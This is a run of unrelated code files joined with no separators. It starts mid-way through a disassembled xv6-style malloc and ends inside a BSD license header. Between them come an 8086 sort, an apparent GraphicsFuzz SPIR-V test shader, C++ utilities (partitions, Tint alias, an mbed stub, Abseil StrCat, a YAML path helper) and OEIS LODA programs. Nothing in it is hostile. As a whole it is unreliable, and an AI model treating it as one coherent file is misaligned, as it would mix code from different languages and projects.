-0x8(%ebp),%eax 6f0: 3b 45 fc cmp -0x4(%ebp),%eax 6f3: 76 d4 jbe 6c9 <free+0x19> 6f5: 8b 45 fc mov -0x4(%ebp),%eax 6f8: 8b 00 mov (%eax),%eax 6fa: 3b 45 f8 cmp -0x8(%ebp),%eax 6fd: 76 ca jbe 6c9 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6ff: 8b 45 f8 mov -0x8(%ebp),%eax 702: 8b 40 04 mov 0x4(%eax),%eax 705: c1 e0 03 shl $0x3,%eax 708: 89 c2 mov %eax,%edx 70a: 03 55 f8 add -0x8(%ebp),%edx 70d: 8b 45 fc mov -0x4(%ebp),%eax 710: 8b 00 mov (%eax),%eax 712: 39 c2 cmp %eax,%edx 714: 75 24 jne 73a <free+0x8a> bp->s.size += p->s.ptr->s.size; 716: 8b 45 f8 mov -0x8(%ebp),%eax 719: 8b 50 04 mov 0x4(%eax),%edx 71c: 8b 45 fc mov -0x4(%ebp),%eax 71f: 8b 00 mov (%eax),%eax 721: 8b 40 04 mov 0x4(%eax),%eax 724: 01 c2 add %eax,%edx 726: 8b 45 f8 mov -0x8(%ebp),%eax 729: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 72c: 8b 45 fc mov -0x4(%ebp),%eax 72f: 8b 00 mov (%eax),%eax 731: 8b 10 mov (%eax),%edx 733: 8b 45 f8 mov -0x8(%ebp),%eax 736: 89 10 mov %edx,(%eax) 738: eb 0a jmp 744 <free+0x94> } else bp->s.ptr = p->s.ptr; 73a: 8b 45 fc mov -0x4(%ebp),%eax 73d: 8b 10 mov (%eax),%edx 73f: 8b 45 f8 mov -0x8(%ebp),%eax 742: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 744: 8b 45 fc mov -0x4(%ebp),%eax 747: 8b 40 04 mov 0x4(%eax),%eax 74a: c1 e0 03 shl $0x3,%eax 74d: 03 45 fc add -0x4(%ebp),%eax 750: 3b 45 f8 cmp -0x8(%ebp),%eax 753: 75 20 jne 775 <free+0xc5> p->s.size += bp->s.size; 755: 8b 45 fc mov -0x4(%ebp),%eax 758: 8b 50 04 mov 0x4(%eax),%edx 75b: 8b 45 f8 mov -0x8(%ebp),%eax 75e: 8b 40 04 mov 0x4(%eax),%eax 761: 01 c2 add %eax,%edx 763: 8b 45 fc mov -0x4(%ebp),%eax 766: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 769: 8b 45 f8 mov -0x8(%ebp),%eax 76c: 8b 10 mov (%eax),%edx 76e: 8b 45 fc mov -0x4(%ebp),%eax 771: 89 10 mov %edx,(%eax) 773: eb 08 jmp 77d <free+0xcd> } else p->s.ptr = bp; 775: 8b 45 fc mov -0x4(%ebp),%eax 778: 8b 55 f8 mov -0x8(%ebp),%edx 77b: 89 10 mov %edx,(%eax) freep = p; 77d: 8b 45 fc mov -0x4(%ebp),%eax 780: a3 68 0b 00 00 mov %eax,0xb68 } 785: c9 leave 786: c3 ret 00000787 <morecore>: static Header* morecore(uint nu) { 787: 55 push %ebp 788: 89 e5 mov %esp,%ebp 78a: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 78d: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 794: 77 07 ja 79d <morecore+0x16> nu = 4096; 796: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 79d: 8b 45 08 mov 0x8(%ebp),%eax 7a0: c1 e0 03 shl $0x3,%eax 7a3: 89 04 24 mov %eax,(%esp) 7a6: e8 51 fc ff ff call 3fc <sbrk> 7ab: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 7ae: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 7b2: 75 07 jne 7bb <morecore+0x34> return 0; 7b4: b8 00 00 00 00 mov $0x0,%eax 7b9: eb 22 jmp 7dd <morecore+0x56> hp = (Header*)p; 7bb: 8b 45 f4 mov -0xc(%ebp),%eax 7be: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 7c1: 8b 45 f0 mov -0x10(%ebp),%eax 7c4: 8b 55 08 mov 0x8(%ebp),%edx 7c7: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 7ca: 8b 45 f0 mov -0x10(%ebp),%eax 7cd: 83 c0 08 add $0x8,%eax 7d0: 89 04 24 mov %eax,(%esp) 7d3: e8 d8 fe ff ff call 6b0 <free> return freep; 7d8: a1 68 0b 00 00 mov 0xb68,%eax } 7dd: c9 leave 7de: c3 ret 000007df <malloc>: void* malloc(uint nbytes) { 7df: 55 push %ebp 7e0: 89 e5 mov %esp,%ebp 7e2: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 7e5: 8b 45 08 mov 0x8(%ebp),%eax 7e8: 83 c0 07 add $0x7,%eax 7eb: c1 e8 03 shr $0x3,%eax 7ee: 83 c0 01 add $0x1,%eax 7f1: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 7f4: a1 68 0b 00 00 mov 0xb68,%eax 7f9: 89 45 f0 mov %eax,-0x10(%ebp) 7fc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 800: 75 23 jne 825 <malloc+0x46> base.s.ptr = freep = prevp = &base; 802: c7 45 f0 60 0b 00 00 movl $0xb60,-0x10(%ebp) 809: 8b 45 f0 mov -0x10(%ebp),%eax 80c: a3 68 0b 00 00 mov %eax,0xb68 811: a1 68 0b 00 00 mov 0xb68,%eax 816: a3 60 0b 00 00 mov %eax,0xb60 base.s.size = 0; 81b: c7 05 64 0b 00 00 00 movl $0x0,0xb64 822: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 825: 8b 45 f0 mov -0x10(%ebp),%eax 828: 8b 00 mov (%eax),%eax 82a: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 82d: 8b 45 f4 mov -0xc(%ebp),%eax 830: 8b 40 04 mov 0x4(%eax),%eax 833: 3b 45 ec cmp -0x14(%ebp),%eax 836: 72 4d jb 885 <malloc+0xa6> if(p->s.size == nunits) 838: 8b 45 f4 mov -0xc(%ebp),%eax 83b: 8b 40 04 mov 0x4(%eax),%eax 83e: 3b 45 ec cmp -0x14(%ebp),%eax 841: 75 0c jne 84f <malloc+0x70> prevp->s.ptr = p->s.ptr; 843: 8b 45 f4 mov -0xc(%ebp),%eax 846: 8b 10 mov (%eax),%edx 848: 8b 45 f0 mov -0x10(%ebp),%eax 84b: 89 10 mov %edx,(%eax) 84d: eb 26 jmp 875 <malloc+0x96> else { p->s.size -= nunits; 84f: 8b 45 f4 mov -0xc(%ebp),%eax 852: 8b 40 04 mov 0x4(%eax),%eax 855: 89 c2 mov %eax,%edx 857: 2b 55 ec sub -0x14(%ebp),%edx 85a: 8b 45 f4 mov -0xc(%ebp),%eax 85d: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 860: 8b 45 f4 mov -0xc(%ebp),%eax 863: 8b 40 04 mov 0x4(%eax),%eax 866: c1 e0 03 shl $0x3,%eax 869: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 86c: 8b 45 f4 mov -0xc(%ebp),%eax 86f: 8b 55 ec mov -0x14(%ebp),%edx 872: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 875: 8b 45 f0 mov -0x10(%ebp),%eax 878: a3 68 0b 00 00 mov %eax,0xb68 return (void*)(p + 1); 87d: 8b 45 f4 mov -0xc(%ebp),%eax 880: 83 c0 08 add $0x8,%eax 883: eb 38 jmp 8bd <malloc+0xde> } if(p == freep) 885: a1 68 0b 00 00 mov 0xb68,%eax 88a: 39 45 f4 cmp %eax,-0xc(%ebp) 88d: 75 1b jne 8aa <malloc+0xcb> if((p = morecore(nunits)) == 0) 88f: 8b 45 ec mov -0x14(%ebp),%eax 892: 89 04 24 mov %eax,(%esp) 895: e8 ed fe ff ff call 787 <morecore> 89a: 89 45 f4 mov %eax,-0xc(%ebp) 89d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8a1: 75 07 jne 8aa <malloc+0xcb> return 0; 8a3: b8 00 00 00 00 mov $0x0,%eax 8a8: eb 13 jmp 8bd <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8aa: 8b 45 f4 mov -0xc(%ebp),%eax 8ad: 89 45 f0 mov %eax,-0x10(%ebp) 8b0: 8b 45 f4 mov -0xc(%ebp),%eax 8b3: 8b 00 mov (%eax),%eax 8b5: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 8b8: e9 70 ff ff ff jmp 82d <malloc+0x4e> } 8bd: c9 leave 8be: c3 ret
.model small .stack 100h .data arrr dw 2,3,9,0,1,'!' .code main proc mov ax , @data mov ds , ax xor si , si rep_: cmp arrr[si] , '!' je exit mov ax , arrr[si] cmp ax , arrr[si+2] jle inc_ jg swap_ swap_: mov bx , arrr[si+2] mov arrr[si] , bx mov arrr[si+2] , ax xor si , si jmp rep_ inc_: add si , 2 jmp rep_ exit: mov cx , 5 xor si , si mov ah , 2 top: mov dx , arrr[si] add si , 2 add dx , 30h int 21h loop top mov ah , 4ch int 21h main endp end main
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 105 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %9 %76 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %9 "gl_FragCoord" OpName %17 "buf1" OpMemberName %17 0 "_GLF_uniform_float_values" OpName %19 "" OpName %49 "buf0" OpMemberName %49 0 "_GLF_uniform_int_values" OpName %51 "" OpName %76 "_GLF_color" OpName %82 "tex" OpDecorate %9 BuiltIn FragCoord OpDecorate %16 ArrayStride 16 OpMemberDecorate %17 0 Offset 0 OpDecorate %17 Block OpDecorate %19 DescriptorSet 0 OpDecorate %19 Binding 1 OpDecorate %48 ArrayStride 16 OpMemberDecorate %49 0 Offset 0 OpDecorate %49 Block OpDecorate %51 DescriptorSet 0 OpDecorate %51 Binding 0 OpDecorate %76 Location 0 OpDecorate %82 RelaxedPrecision OpDecorate %82 DescriptorSet 0 OpDecorate %82 Binding 2 OpDecorate %83 RelaxedPrecision OpDecorate %87 RelaxedPrecision OpDecorate %88 RelaxedPrecision %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeFloat 32 %7 = OpTypeVector %6 4 %8 = OpTypePointer Input %7 %9 = OpVariable %8 Input %10 = OpTypeInt 32 0 %11 = OpConstant %10 1 %12 = OpTypePointer Input %6 %15 = OpConstant %10 2 %16 = OpTypeArray %6 %15 %17 = OpTypeStruct %16 %18 = OpTypePointer Uniform %17 %19 = OpVariable %18 Uniform %20 = OpTypeInt 32 1 %21 = OpConstant %20 0 %22 = OpTypePointer Uniform %6 %25 = OpTypeBool %30 = OpConstant %10 0 %48 = OpTypeArray %20 %15 %49 = OpTypeStruct %48 %50 = OpTypePointer Uniform %49 %51 = OpVariable %50 Uniform %52 = OpConstant %20 1 %53 = OpTypePointer Uniform %20 %75 = OpTypePointer Output %7 %76 = OpVariable %75 Output %79 = OpTypeImage %6 2D 0 0 0 1 Unknown %80 = OpTypeSampledImage %79 %81 = OpTypePointer UniformConstant %80 %82 = OpVariable %81 UniformConstant %86 = OpTypeVector %6 2 %97 = OpConstantFalse %25 %100 = OpConstantTrue %25 %4 = OpFunction %2 None %3 %5 = OpLabel OpSelectionMerge %95 None OpSwitch %30 %96 %96 = OpLabel %13 = OpAccessChain %12 %9 %11 %14 = OpLoad %6 %13 %23 = OpAccessChain %22 %19 %21 %21 %24 = OpLoad %6 %23 %26 = OpFOrdLessThan %25 %14 %24 OpSelectionMerge %28 None OpBranchConditional %26 %27 %28 %27 = OpLabel OpBranch %95 %28 = OpLabel %31 = OpAccessChain %12 %9 %30 %32 = OpLoad %6 %31 %35 = OpFOrdLessThan %25 %32 %24 OpSelectionMerge %37 None OpBranchConditional %35 %36 %37 %36 = OpLabel OpSelectionMerge %44 None OpBranchConditional %35 %43 %44 %43 = OpLabel OpBranch %95 %44 = OpLabel %54 = OpAccessChain %53 %51 %21 %52 %55 = OpLoad %20 %54 OpBranch %56 %56 = OpLabel %103 = OpPhi %20 %55 %44 %74 %59 %62 = OpAccessChain %53 %51 %21 %21 %63 = OpLoad %20 %62 %64 = OpSLessThan %25 %103 %63 OpLoopMerge %58 %59 None OpBranchConditional %64 %57 %58 %57 = OpLabel %67 = OpAccessChain %22 %19 %21 %52 %68 = OpLoad %6 %67 %69 = OpFOrdLessThan %25 %32 %68 OpSelectionMerge %71 None OpBranchConditional %69 %70 %71 %70 = OpLabel OpBranch %58 %71 = OpLabel OpBranch %59 %59 = OpLabel %74 = OpIAdd %20 %103 %52 OpBranch %56 %58 = OpLabel %104 = OpPhi %25 %97 %56 %100 %70 OpSelectionMerge %101 None OpBranchConditional %104 %95 %101 %101 = OpLabel OpBranch %37 %37 = OpLabel %77 = OpAccessChain %22 %19 %21 %52 %78 = OpLoad %6 %77 %83 = OpLoad %80 %82 %87 = OpCompositeConstruct %86 %78 %78 %88 = OpImageSampleImplicitLod %7 %83 %87 %91 = OpCompositeExtract %6 %88 1 %92 = OpCompositeExtract %6 %88 2 %93 = OpCompositeExtract %6 %88 3 %94 = OpCompositeConstruct %7 %78 %91 %92 %93 OpStore %76 %94 OpBranch %95 %95 = OpLabel OpReturn OpFunctionEnd
#ifndef INCLUDED_PARTITIONS_H_ #define INCLUDED_PARTITIONS_H_ #include <vector> #include <algorithm> class Partitions : public std::iterator<std::input_iterator_tag, std::vector<size_t> > { size_t d_number; std::vector<size_t> d_partition; size_t d_parts; public: Partitions(size_t number) : d_number(number), d_partition(number+2), d_parts(1) { d_partition[0] = 0; d_partition[1] = number; ++(*this); } Partitions begin() const { return Partitions(d_number); } Partitions end() const { Partitions end = *this; end.d_parts = 0; return end; } bool operator==(const Partitions& rhs) const { return d_number == rhs.d_number && d_parts == rhs.d_parts; } bool operator!=(const Partitions& rhs) const { return !(*this == rhs); } Partitions& operator++() { size_t x = d_partition[d_parts - 1] + 1; size_t y = d_partition[d_parts] - 1; --d_parts; while (x <= y) { d_partition[d_parts] = x; y -= x; ++d_parts; } d_partition[d_parts] = x + y; return *this; } std::vector<size_t> operator*() { std::vector<size_t> partition(d_partition.begin(), d_partition.begin() + d_parts + 1); return partition; } }; #endif
// Copyright 2020 The Tint Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "src/ast/alias.h" #include "src/program_builder.h" TINT_INSTANTIATE_TYPEINFO(tint::ast::Alias); namespace tint { namespace ast { Alias::Alias(ProgramID program_id, const Source& source, const Symbol& name, Type* subtype) : Base(program_id, source, name), subtype_(subtype), type_name_("__alias_" + name.to_str() + subtype->type_name()) { TINT_ASSERT(AST, subtype_); } Alias::Alias(Alias&&) = default; Alias::~Alias() = default; std::string Alias::type_name() const { return type_name_; } Alias* Alias::Clone(CloneContext* ctx) const { // Clone arguments outside of create() call to have deterministic ordering auto src = ctx->Clone(source()); auto sym = ctx->Clone(name()); auto* ty = ctx->Clone(type()); return ctx->dst->create<Alias>(src, sym, ty); } } // namespace ast } // namespace tint
/* mbed Microcontroller Library * Copyright (c) 2017-2017 ARM Limited * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "ObservingBlockDevice.h" #include "ReadOnlyBlockDevice.h" #include "mbed.h" ObservingBlockDevice::ObservingBlockDevice(BlockDevice *bd) { // Does nothing } ObservingBlockDevice::~ObservingBlockDevice() { // Does nothing } void ObservingBlockDevice::attach(Callback<void(BlockDevice *)> cb) { } int ObservingBlockDevice::init() { return 0; } int ObservingBlockDevice::deinit() { return 0; } int ObservingBlockDevice::sync() { return 0; } int ObservingBlockDevice::read(void *buffer, bd_addr_t addr, bd_size_t size) { return 0; } int ObservingBlockDevice::program(const void *buffer, bd_addr_t addr, bd_size_t size) { return 0; } int ObservingBlockDevice::erase(bd_addr_t addr, bd_size_t size) { return 0; } bd_size_t ObservingBlockDevice::get_read_size() const { return 0; } bd_size_t ObservingBlockDevice::get_program_size() const { return 0; } bd_size_t ObservingBlockDevice::get_erase_size() const { return 0; } bd_size_t ObservingBlockDevice::get_erase_size(bd_addr_t addr) const { return 0; } int ObservingBlockDevice::get_erase_value() const { return 0; } bd_size_t ObservingBlockDevice::size() const { return 0; }
; A151763: If n is a prime == 1 mod 4 then a(n) = 1, if n is a prime == 3 mod 4 then a(n) = -1, otherwise a(n) = 0. ; 0,0,-1,0,1,0,-1,0,0,0,-1,0,1,0,0,0,1,0,-1,0,0,0,-1,0,0,0,0,0,1,0,-1,0,0,0,0,0,1,0,0,0,1,0,-1,0,0,0,-1,0,0,0,0,0,1,0,0,0,0,0,-1,0,1,0,0,0,0,0,-1,0,0,0,-1,0,1,0,0,0,0,0,-1,0,0,0,-1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0 mov $1,$0 div $0,4 mul $0,4 add $0,1 sub $0,$1 seq $1,10051 ; Characteristic function of primes: 1 if n is prime, else 0. mul $0,$1
; A164683: a(n) = 8*a(n-2) for n > 2; a(1) = 1, a(2) = 8. ; 1,8,8,64,64,512,512,4096,4096,32768,32768,262144,262144,2097152,2097152,16777216,16777216,134217728,134217728,1073741824,1073741824,8589934592,8589934592,68719476736,68719476736,549755813888,549755813888,4398046511104,4398046511104,35184372088832,35184372088832,281474976710656,281474976710656,2251799813685248,2251799813685248 mov $1,8 mov $2,$0 add $2,1 div $2,2 pow $1,$2
// Copyright 2017 The Abseil Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "absl/strings/str_cat.h" #include <assert.h> #include <algorithm> #include <cstdint> #include <cstring> #include "absl/strings/ascii.h" #include "absl/strings/internal/resize_uninitialized.h" namespace absl { AlphaNum::AlphaNum(Hex hex) { char* const end = &digits_[numbers_internal::kFastToBufferSize]; char* writer = end; uint64_t value = hex.value; static const char hexdigits[] = "0123456789abcdef"; do { *--writer = hexdigits[value & 0xF]; value >>= 4; } while (value != 0); char* beg; if (end - writer < hex.width) { beg = end - hex.width; std::fill_n(beg, writer - beg, hex.fill); } else { beg = writer; } piece_ = absl::string_view(beg, end - beg); } AlphaNum::AlphaNum(Dec dec) { assert(dec.width <= numbers_internal::kFastToBufferSize); char* const end = &digits_[numbers_internal::kFastToBufferSize]; char* const minfill = end - dec.width; char* writer = end; uint64_t value = dec.value; bool neg = dec.neg; while (value > 9) { *--writer = '0' + (value % 10); value /= 10; } *--writer = '0' + value; if (neg) *--writer = '-'; ptrdiff_t fillers = writer - minfill; if (fillers > 0) { // Tricky: if the fill character is ' ', then it's <fill><+/-><digits> // But...: if the fill character is '0', then it's <+/-><fill><digits> bool add_sign_again = false; if (neg && dec.fill == '0') { // If filling with '0', ++writer; // ignore the sign we just added add_sign_again = true; // and re-add the sign later. } writer -= fillers; std::fill_n(writer, fillers, dec.fill); if (add_sign_again) *--writer = '-'; } piece_ = absl::string_view(writer, end - writer); } // ---------------------------------------------------------------------- // StrCat() // This merges the given strings or integers, with no delimiter. This // is designed to be the fastest possible way to construct a string out // of a mix of raw C strings, string_views, strings, and integer values. // ---------------------------------------------------------------------- // Append is merely a version of memcpy that returns the address of the byte // after the area just overwritten. static char* Append(char* out, const AlphaNum& x) { // memcpy is allowed to overwrite arbitrary memory, so doing this after the // call would force an extra fetch of x.size(). char* after = out + x.size(); if (x.size() != 0) { memcpy(out, x.data(), x.size()); } return after; } std::string StrCat(const AlphaNum& a, const AlphaNum& b) { std::string result; absl::strings_internal::STLStringResizeUninitialized(&result, a.size() + b.size()); char* const begin = &*result.begin(); char* out = begin; out = Append(out, a); out = Append(out, b); assert(out == begin + result.size()); return result; } std::string StrCat(const AlphaNum& a, const AlphaNum& b, const AlphaNum& c) { std::string result; strings_internal::STLStringResizeUninitialized( &result, a.size() + b.size() + c.size()); char* const begin = &*result.begin(); char* out = begin; out = Append(out, a); out = Append(out, b); out = Append(out, c); assert(out == begin + result.size()); return result; } std::string StrCat(const AlphaNum& a, const AlphaNum& b, const AlphaNum& c, const AlphaNum& d) { std::string result; strings_internal::STLStringResizeUninitialized( &result, a.size() + b.size() + c.size() + d.size()); char* const begin = &*result.begin(); char* out = begin; out = Append(out, a); out = Append(out, b); out = Append(out, c); out = Append(out, d); assert(out == begin + result.size()); return result; } namespace strings_internal { // Do not call directly - these are not part of the public API. std::string CatPieces(std::initializer_list<absl::string_view> pieces) { std::string result; size_t total_size = 0; for (const absl::string_view piece : pieces) total_size += piece.size(); strings_internal::STLStringResizeUninitialized(&result, total_size); char* const begin = &*result.begin(); char* out = begin; for (const absl::string_view piece : pieces) { const size_t this_size = piece.size(); if (this_size != 0) { memcpy(out, piece.data(), this_size); out += this_size; } } assert(out == begin + result.size()); return result; } // It's possible to call StrAppend with an absl::string_view that is itself a // fragment of the string we're appending to. However the results of this are // random. Therefore, check for this in debug mode. Use unsigned math so we // only have to do one comparison. Note, there's an exception case: appending an // empty string is always allowed. #define ASSERT_NO_OVERLAP(dest, src) \ assert(((src).size() == 0) || \ (uintptr_t((src).data() - (dest).data()) > uintptr_t((dest).size()))) void AppendPieces(std::string* dest, std::initializer_list<absl::string_view> pieces) { size_t old_size = dest->size(); size_t total_size = old_size; for (const absl::string_view piece : pieces) { ASSERT_NO_OVERLAP(*dest, piece); total_size += piece.size(); } strings_internal::STLStringResizeUninitialized(dest, total_size); char* const begin = &*dest->begin(); char* out = begin + old_size; for (const absl::string_view piece : pieces) { const size_t this_size = piece.size(); if (this_size != 0) { memcpy(out, piece.data(), this_size); out += this_size; } } assert(out == begin + dest->size()); } } // namespace strings_internal void StrAppend(std::string* dest, const AlphaNum& a) { ASSERT_NO_OVERLAP(*dest, a); dest->append(a.data(), a.size()); } void StrAppend(std::string* dest, const AlphaNum& a, const AlphaNum& b) { ASSERT_NO_OVERLAP(*dest, a); ASSERT_NO_OVERLAP(*dest, b); std::string::size_type old_size = dest->size(); strings_internal::STLStringResizeUninitialized( dest, old_size + a.size() + b.size()); char* const begin = &*dest->begin(); char* out = begin + old_size; out = Append(out, a); out = Append(out, b); assert(out == begin + dest->size()); } void StrAppend(std::string* dest, const AlphaNum& a, const AlphaNum& b, const AlphaNum& c) { ASSERT_NO_OVERLAP(*dest, a); ASSERT_NO_OVERLAP(*dest, b); ASSERT_NO_OVERLAP(*dest, c); std::string::size_type old_size = dest->size(); strings_internal::STLStringResizeUninitialized( dest, old_size + a.size() + b.size() + c.size()); char* const begin = &*dest->begin(); char* out = begin + old_size; out = Append(out, a); out = Append(out, b); out = Append(out, c); assert(out == begin + dest->size()); } void StrAppend(std::string* dest, const AlphaNum& a, const AlphaNum& b, const AlphaNum& c, const AlphaNum& d) { ASSERT_NO_OVERLAP(*dest, a); ASSERT_NO_OVERLAP(*dest, b); ASSERT_NO_OVERLAP(*dest, c); ASSERT_NO_OVERLAP(*dest, d); std::string::size_type old_size = dest->size(); strings_internal::STLStringResizeUninitialized( dest, old_size + a.size() + b.size() + c.size() + d.size()); char* const begin = &*dest->begin(); char* out = begin + old_size; out = Append(out, a); out = Append(out, b); out = Append(out, c); out = Append(out, d); assert(out == begin + dest->size()); } } // namespace absl
; A107305: Numbers k such that 11*k - 13 is prime. ; 4,6,10,16,22,24,30,36,42,60,64,70,76,84,90,94,100,102,106,120,126,132,136,142,144,150,160,172,174,184,192,196,210,214,226,232,244,246,256,270,274,276,280,282,294,304,316,322,330,340,346,354,360,366,370,372,384,402,412,424,426,436,444,450,456,466,472,486,492,496,504,514,532,534,540,550,570,574,576,580,582,594,606,612,616,622,630,634,636,640,652,660,682,690,694,696,700,706,714,720 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,8 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,14 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 div $1,11 add $1,4 mov $0,$1
; A056570: Third power of Fibonacci numbers (A000045). ; 0,1,1,8,27,125,512,2197,9261,39304,166375,704969,2985984,12649337,53582633,226981000,961504803,4073003173,17253512704,73087061741,309601747125,1311494070536,5555577996431,23533806109393,99690802348032,422297015640625,1788878864685457,7577812474746632 add $0,1 mov $1,1 lpb $0 sub $0,1 add $2,$1 sub $3,$4 mov $1,$3 mov $3,$2 add $3,6 mov $4,1 lpe pow $1,3 div $1,216
#include "FileDialogPaths.hpp" FileDialogPaths::FileDialogPaths() { //Create the file chooser config file, if it does not already exist std::experimental::filesystem::path filepath = config_location; bool file_exists = std::experimental::filesystem::exists(filepath); if (!file_exists) { //Create file std::ofstream yaml_file(config_location); yaml_file.close(); } } FileDialogPaths& FileDialogPaths::Instance() { // Thread-safe in C++11 static FileDialogPaths myInstance; return myInstance; } std::string FileDialogPaths::get_last_execution_path(std::string config_name) { std::lock_guard<std::mutex> lock(config_file_mutex); auto yaml_config_profile = YAML::LoadFile(config_location); std::string return_path = ""; std::string error_string; //Behaviour if no last execution path could be found - set to default folder //Also: In case the yaml profile is malformed, reset try { if (! yaml_config_profile[config_name]) { return_path = default_load_path; } else { return_path = yaml_config_profile[config_name].as<std::string>(); } } catch (const std::domain_error& err) { error_string = err.what(); } catch (const std::exception& err) { error_string = err.what(); } //In case of an error, reset the file if (error_string.size() > 0) { std::cout << "NOTE: Resetting YAML file dialog config, is malformed" << std::endl; std::ofstream yaml_file; yaml_file.open(config_location, std::ofstream::out | std::ofstream::trunc); yaml_file.close(); return_path = default_load_path; } return return_path; } void FileDialogPaths::store_last_execution_path(std::string filename, std::string config_name) { std::lock_guard<std::mutex> lock(config_file_mutex); //Load current profile auto yaml_config_profile = YAML::LoadFile(config_location); //Store change in profile, reset and store again in case of error std::string error_string; try { yaml_config_profile[config_name] = filename; } catch (const std::domain_error& err) { error_string = err.what(); } catch (const std::exception& err) { error_string = err.what(); } //In case of an error, reset the file if (error_string.size() > 0) { std::cout << "NOTE: Resetting YAML file dialog config, is malformed" << std::endl; std::ofstream yaml_file; yaml_file.open(config_location, std::ofstream::out | std::ofstream::trunc); yaml_file.close(); yaml_config_profile = YAML::LoadFile(config_location); yaml_config_profile[config_name] = filename; } //Store changed profile std::ofstream yaml_file(config_location, std::ofstream::out | std::ofstream::trunc); yaml_file << yaml_config_profile; yaml_file.close(); }
; A189628: Fixed point of the morphism 0->001, 1->010. ; 0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0 add $0,71726 seq $0,189723 ; Fixed point of the morphism 0->011, 1->101. add $0,1 mod $0,2
; Copyright (c) 2009-2010, Michael Alyn Miller <malyn@strangeGizmo.com>. ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice ; unmodified, this list of conditions, and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of Michael Alyn Miller nor the names of the contributors ; to this software may be used to endorse or promote products derived from ; this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY ; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 